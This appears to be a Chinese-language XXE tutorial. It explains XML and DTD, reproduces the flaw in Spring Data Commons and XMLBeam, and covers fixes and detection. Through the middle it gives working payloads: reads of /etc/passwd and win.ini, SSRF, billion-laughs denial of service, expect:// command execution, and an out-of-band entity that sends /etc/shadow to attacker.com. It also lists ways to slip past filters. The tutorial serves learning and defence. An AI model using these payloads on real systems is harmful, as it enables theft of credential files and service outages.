XXE萌新进阶全攻略
字数 998 2025-08-18 11:37:53

XXE漏洞全面解析与实战指南

1. XML与DTD基础概念

1.1 XML简介

XML(eXtensible Markup Language)是一种用于传输和存储数据的标记语言,与HTML不同:

  • HTML用于显示数据,关注数据外观
  • XML用于传输和存储数据,关注数据内容

1.2 DTD(文档类型定义)

DTD定义了XML文档的合法构建模块,有两种声明方式:

内部DTD

<!DOCTYPE root [
  <!ELEMENT root ANY>
  <!ENTITY xxe "test">
]>

外部DTD

<!DOCTYPE root SYSTEM "external.dtd">

2. XXE漏洞原理

2.1 XXE类型

  • XML Entity Expansion Injection(XML实体扩展注入)
  • XML External Entity Injection(XML外部实体注入)

2.2 漏洞产生条件

  1. 解析器支持DTD
  2. 用户输入被拼接到XML中并被解析

3. XXE漏洞复现(以Spring Data Commons为例)

3.1 漏洞环境

  • Spring Data Commons 1.13-1.13.11或2.0-2.0.6
  • XMLBeam 1.4.14或更早版本

3.2 漏洞代码示例

public interface UserPayload {
    @XBRead("//firstname")
    @JsonPath("$..firstname")
    String getFirstname();
    
    @XBRead("//lastname")
    @JsonPath("$..lastname")
    String getLastname();
}

3.3 基础Payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<user>
  <firstname>&xxe;</firstname>
  <lastname>666</lastname>
</user>

4. XXE漏洞利用方式

4.1 任意文件读取

<!ENTITY xxe SYSTEM "file:///etc/passwd">

4.2 SSRF(服务器端请求伪造)

<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">

4.3 拒绝服务攻击

实体扩展攻击

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  ...
]>
<lolz>&lol9;</lolz>

UNIX系统攻击

<!ENTITY xxe SYSTEM "file:///dev/random">

4.4 远程命令执行(特定环境)

当PHP expect模块被加载时可能实现:

<!ENTITY xxe SYSTEM "expect://id">

5. 无回显XXE(OOB攻击)

5.1 原理

当数据无法直接回显时,通过外带数据方式获取信息

5.2 工具推荐

xxeserve(基于Ruby的工具):

https://github.com/joernchen/xxeserve

5.3 示例Payload

<!DOCTYPE root [
  <!ENTITY % remote SYSTEM "http://attacker.com/xml?f=/etc/shadow">
  %remote;
  %int;
  %trick;
]>

6. 漏洞修复方案

6.1 禁用外部实体

factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

6.2 完全禁用DTD

factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

6.3 XMLBeam修复方案

1.4.15版本新增配置:

instance.setXIncludeAware(this.isXIncludeAware);
instance.setExpandEntityReferences(this.isExpandEntityReferences);

7. 实战技巧

7.1 常见攻击面

  • XML文件上传
  • XML格式的API请求
  • SOAP协议接口
  • Office文档(DOCX等)

7.2 绕过技巧

  • 使用UTF-16编码绕过过滤器
  • 使用CDATA包裹恶意内容
  • 尝试不同的协议(如php://filter)

7.3 检测方法

  1. 提交测试Payload观察响应
  2. 使用DNS查询检测OOB通道
  3. 监控服务器资源使用情况

8. 总结

XXE漏洞危害严重,可导致:

  • 敏感信息泄露
  • 内网探测
  • 拒绝服务
  • 特定环境下命令执行

防御关键在于:

  1. 禁用不必要的DTD功能
  2. 严格过滤用户输入
  3. 使用安全的XML解析器配置
XXE漏洞全面解析与实战指南 1. XML与DTD基础概念 1.1 XML简介 XML(eXtensible Markup Language)是一种用于传输和存储数据的标记语言,与HTML不同: HTML用于显示数据,关注数据外观 XML用于传输和存储数据,关注数据内容 1.2 DTD(文档类型定义) DTD定义了XML文档的合法构建模块,有两种声明方式: 内部DTD 外部DTD 2. XXE漏洞原理 2.1 XXE类型 XML Entity Expansion Injection(XML实体扩展注入) XML External Entity Injection(XML外部实体注入) 2.2 漏洞产生条件 解析器支持DTD 用户输入被拼接到XML中并被解析 3. XXE漏洞复现(以Spring Data Commons为例) 3.1 漏洞环境 Spring Data Commons 1.13-1.13.11或2.0-2.0.6 XMLBeam 1.4.14或更早版本 3.2 漏洞代码示例 3.3 基础Payload 4. XXE漏洞利用方式 4.1 任意文件读取 4.2 SSRF(服务器端请求伪造) 4.3 拒绝服务攻击 实体扩展攻击 UNIX系统攻击 4.4 远程命令执行(特定环境) 当PHP expect模块被加载时可能实现: 5. 无回显XXE(OOB攻击) 5.1 原理 当数据无法直接回显时,通过外带数据方式获取信息 5.2 工具推荐 xxeserve(基于Ruby的工具): 5.3 示例Payload 6. 漏洞修复方案 6.1 禁用外部实体 6.2 完全禁用DTD 6.3 XMLBeam修复方案 1.4.15版本新增配置: 7. 实战技巧 7.1 常见攻击面 XML文件上传 XML格式的API请求 SOAP协议接口 Office文档(DOCX等) 7.2 绕过技巧 使用UTF-16编码绕过过滤器 使用CDATA包裹恶意内容 尝试不同的协议(如php://filter) 7.3 检测方法 提交测试Payload观察响应 使用DNS查询检测OOB通道 监控服务器资源使用情况 8. 总结 XXE漏洞危害严重,可导致: 敏感信息泄露 内网探测 拒绝服务 特定环境下命令执行 防御关键在于: 禁用不必要的DTD功能 严格过滤用户输入 使用安全的XML解析器配置